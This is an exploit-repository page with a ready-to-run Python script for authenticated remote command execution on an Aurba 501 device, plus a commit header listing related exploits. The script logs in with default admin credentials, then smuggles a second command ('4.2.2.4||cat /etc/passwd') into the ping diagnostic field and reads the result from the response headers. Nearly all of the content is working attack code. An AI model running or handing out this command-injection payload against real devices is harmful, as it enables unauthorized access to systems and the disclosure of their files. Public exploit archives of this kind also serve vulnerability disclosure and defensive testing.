76d99ff06e
7 changes to exploits/shellcodes/ghdb Elber ESE DVB-S/S2 Satellite Receiver 1.5.x - Authentication Bypass Elber ESE DVB-S/S2 Satellite Receiver 1.5.x - Device Config Elber Wayber Analog/Digital Audio STL 4.00 - Authentication Bypass Elber Wayber Analog/Digital Audio STL 4.00 - Device Config Disclosure HughesNet HT2000W Satellite Modem - Password Reset Aurba 501 - Authenticated RCE
90 lines
No EOL
2.5 KiB
Python
Executable file
90 lines
No EOL
2.5 KiB
Python
Executable file
# Exploit Title: Remote Command Execution | Aurba 501
|
|
# Date: 17-07-2024
|
|
# Exploit Author: Hosein Vita
|
|
# Vendor Homepage: https://www.hpe.com
|
|
# Version: Aurba 501 CN12G5W0XX
|
|
# Tested on: Linux
|
|
|
|
import requests
|
|
from requests.auth import HTTPBasicAuth
|
|
|
|
|
|
def get_input(prompt, default_value):
|
|
user_input = input(prompt)
|
|
return user_input if user_input else default_value
|
|
|
|
|
|
base_url = input("Enter the base URL: ")
|
|
if not base_url:
|
|
print("Base URL is required.")
|
|
exit(1)
|
|
|
|
username = get_input("Enter the username (default: admin): ", "admin")
|
|
password = get_input("Enter the password (default: admin): ", "admin")
|
|
|
|
|
|
login_url = f"{base_url}/login.cgi"
|
|
login_payload = {
|
|
"username": username,
|
|
"password": password,
|
|
"login": "Login"
|
|
}
|
|
|
|
|
|
login_headers = {
|
|
"Accept-Encoding": "gzip, deflate, br",
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"Origin": base_url,
|
|
"Connection": "close"
|
|
}
|
|
|
|
session = requests.Session()
|
|
|
|
|
|
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
# Login to the system
|
|
response = session.post(login_url, headers=login_headers, data=login_payload, verify=False)
|
|
|
|
# Check if login was successful
|
|
if response.status_code == 200 and "login failed" not in response.text.lower():
|
|
print("Login successful!")
|
|
|
|
# The command to be executed on the device
|
|
command = "cat /etc/passwd"
|
|
|
|
|
|
ping_ip = f"4.2.2.4||{command}"
|
|
|
|
# Data to be sent in the POST request
|
|
data = {
|
|
"ping_ip": ping_ip,
|
|
"ping_timeout": "1",
|
|
"textareai": "",
|
|
"ping_start": "Ping"
|
|
}
|
|
|
|
# Headers to be sent with the request
|
|
headers = {
|
|
"Accept-Encoding": "gzip, deflate, br",
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"Origin": base_url,
|
|
"Referer": f"{base_url}/admin.cgi?action=ping",
|
|
"Connection": "close"
|
|
}
|
|
|
|
# Sending the HTTP POST request to exploit the vulnerability
|
|
exploit_url = f"{base_url}/admin.cgi?action=ping"
|
|
response = session.post(exploit_url, headers=headers, data=data, verify=False)
|
|
|
|
|
|
if any("root" in value for value in response.headers.values()):
|
|
print("Exploit successful! The /etc/passwd file contents are reflected in the headers:")
|
|
print(response.headers)
|
|
else:
|
|
print("Exploit failed. The response headers did not contain the expected output.")
|
|
else:
|
|
print("Login failed. Please check the credentials and try again.")
|
|
|
|
# Print the response headers for further analysis
|
|
print(response.headers) |